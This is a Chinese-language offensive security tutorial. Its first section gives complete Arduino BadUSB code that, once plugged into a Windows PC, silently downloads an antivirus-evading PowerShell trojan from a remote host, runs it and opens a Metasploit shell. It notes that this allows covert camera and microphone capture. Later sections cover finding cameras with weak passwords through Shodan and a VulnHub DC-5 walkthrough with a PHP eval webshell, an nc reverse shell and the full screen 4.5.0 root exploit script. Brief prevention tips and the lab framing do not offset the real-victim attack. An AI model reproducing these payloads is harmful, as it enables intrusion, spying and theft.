利用手機中tertermux,msf和badusb幾秒鐘黑掉一臺電腦
提醒:平時不要在電腦上插入陌生的u盤
準備工具:
1.badusb硬件

2.一臺手機安裝termux
3.一臺服務器安裝msf
4.cobaltstrike軟件,arduino軟件
首先我們使用cobaltstrike創建一個可以連接我們服務器msf的powershell木馬,利用invoke-obfuscation工具對poweshell木馬進行免殺,然后將木馬放入到我們的服務器中,
然后用arduino對badusb進行編程

將代碼上傳
#include<Keyboard.h>
void setup() {
// putpower shell your setup code here, to run once
Keyboard.begin();//開始鍵盤通訊
delay(3000);//延時
Keyboard.press(KEY_LEFT_GUI);//win鍵
delay(500);
Keyboard.press('r');//r鍵
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用開大寫輸小寫繞過輸入法
Keyboard.release(KEY_CAPS_LOCK);
delay(700);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1 "); //無回顯
//Keyboard.println("cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1""); //有回顯
delay(700);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(700);
Keyboard.println("powershell");
delay(700);
Keyboard.println("$clnt = new-object system.net.webclient;");
delay(700);
Keyboard.println("$url= 'http://xxxxx.top/kk.ps1';"); //遠程服務器ps1遠控地址
delay(700);
Keyboard.println("$file = 'd:\user.ps1';"); //下載到目標存放文件的地址
delay(700);
Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段執行繞過防火墻進程防護
delay(700);
Keyboard.println("$url= 'http://xxxxx..top/hack.html';"); //遠程服務器html遠控地址
delay(700);
Keyboard.println("$file = 'd:\hack.html';"); //下載到目標存放文件的地址
delay(700);
Keyboard.println("$clnt.downloadfile($url,$file)"); //采用分段執行繞過防火墻進程防護
delay(700);
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\user.ps1"); //本地權限繞過執行木馬腳本
delay(700);
Keyboard.press(KEY_RETURN);
delay(700);
Keyboard.release(KEY_RETURN);
delay(700);
Keyboard.press(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_CAPS_LOCK);
delay(700);
Keyboard.end();//結束鍵盤通訊
}
void loop() {
// put your main code here, to run repeatedly:
}
badusb的功能就是可以模擬電腦上的鍵盤和鼠標,如果用戶插上badusb,用戶電腦就會執行badusb里的代碼,從而下載我們提前制作好的木馬。
上述代碼大致意思為:最小化窗口運行cmd,調出powershell,使用powershell下載指定url的文件,此url就是我們服務器上的木馬。
然后我們使用手機termux中的ssh連接服務器并啟動msf進行監聽。
然后將badusb插入受害者電腦


可以看到已經獲取shell。我們就可以在受害者不知道的情況下瀏覽文件,調用攝像頭麥克風進行拍照錄音,造成隱私泄露
防范:碰到可疑的U盤不要隨意插入很可能攜帶有惡意代碼
網絡設備弱密碼(監控)
隨著網絡以及家用監控的發展,現在很多家庭都會選擇在家中安裝監控,你不知道的是因為一個弱密碼你可能正處在別人的監控當中。
有許多搜索引擎每天都在搜索互聯網上的設備,例如:鐘馗之眼,shodan

搜索到的監控設備
在這些搜索引擎中,可以搜索到互聯網上的監控設備,可以訪問這些監控的后臺管理地址,如果你使用的是弱密碼或者廠商的出場默認密碼那么很有可能遭到弱密碼爆破攻擊。從而讓你處在別人的監控當中。不僅僅是監控器,所有連接到互聯網的設備都有可能暴露在別人眼前。
防范:使用網絡設備時使用較為復雜的密碼,如果是廠商默認密碼要及時更改
vulnhub靶機滲透
Vulnhub它是一個提供各種漏洞環境的平臺,可以供網絡安全學習者進行滲透測試。
我挑選了一個靶機進行詳細教學
DC-5
題目描述:
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
描述中說到something that changes with a refresh of a page(隨著頁面刷新而改變的東西),這里我們留意一下。并且靶機只有一個flag
知識點總結:
①端口掃描(熟悉常用的幾個端口是哪個服務)
②文件包含漏洞
③利用文件包含寫入shell
④screen提權
1.使用命令列出局域網內所有主機
arp-scan -l

獲得目標主機IP:192.168.2.118
2.使用nmap掃描目標主機查看開放端口
root@kali:~#nmap -sV -p- 192.168.2.118
參數說明:
-sV 用來掃描目標主機和端口上運行的軟件的版本
-p 80 指定80端口
-p- 掃描0-65535全部端口

可以看到開放了80端口,代表有web服務,直接訪問
常用端口參考鏈接
3.訪問IP查看web內容

在contact模塊發現了留言板的功能,隨便輸入測試一下

看到請求被提交到了thankyou.php,并且有參數,為GET方式傳參。從題目描述中我們也知道提示到了刷新,我們刷新下頁面看下

被圈住的地方每當刷新一次都會改變,由此我們可以聯想到可能有文件包含漏洞
我們現在先掃一下目錄看一下是哪個文件被包含進來
使用DirBuster掃描目錄

可以發現有一個footer.php 訪問一下正好驗證文件包含的漏洞

4.測試文件包含參數
那么我們現在就要確定文件包含的參數是哪一個,一般page ,file,filename用的比較多,我們可以試一下,如果不是我們也可以用kali里邊自帶的字典進行fuzz

由此,我們可以確定參數為file
我們現在可以對文件進行讀取了,但是我們的目的是獲取shell,如果只讀取文件是無法完成的,我們需要往里邊寫東西,于是可以想到利用日志文件,將shell寫入日志文件 然后進行文件包含

可以看到網站是Nginx的,Nginx 的日志默認路徑是
/var/log/nginx/error.log
?
/var/log/nginx/access.log
我們也可以通過FuzzDB提供的字典進行爆破日志的位置

有了日志文件位置,接下來就要往日志文件寫一句話木馬
5.寫入一句話木馬
?file=<?php @eval($_POST[123]);?>

查看日志文件

可以看到一句話木馬已經被寫進日志文件了
使用蟻劍進行連接

6.我們用nc反彈一個shell到我們的kali機
首先在kali機上nc -nlvp 1234
然后使用 nc -e /bin/sh IP port 來反彈

因為這個shell不是很穩定,我們用Python換一個shell
Nmap
Vim
find
Bash
More
Less
Nano
cp
7.接下來進行提權
首先我們要查找目前用戶有什么root權限的命令(下邊兩行命令都可以查詢)
searchsploit screen 4.5.0

一般可以用來SUID提權的有
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
但是我們發現可用的里邊沒有,而且有一個screen-4.5.0的奇怪的東西,百度查看一下可以知道這個命令可以用來提權
我們用searchsploit搜索一下漏洞利用腳本
cat 41154.sh
?
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

我們用第一個41154.sh
拷貝過來
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
直接上傳這個腳本執行不了
查看一下腳本如何利用
gcc -o /tmp/rootshell /tmp/rootshell.c
第一步
將第一部分的c代碼放入libhax.c中 然后進行編譯
kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目標機:
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell
第二步
將第二部分c代碼放入rootshell.c中進行編譯
gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
通過nc將文件傳輸到目標機的tmp文件夾,因為tmp文件夾的權限一般很大,或者也可以直接用蟻劍傳輸
kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目標機:
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell

第四步
我們按照腳本里邊的命令一步一步執行就可以了
$cd /etc
$umask 000
$screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$screen -ls
$/tmp/rootshell
提權成功
在root目錄下找到flag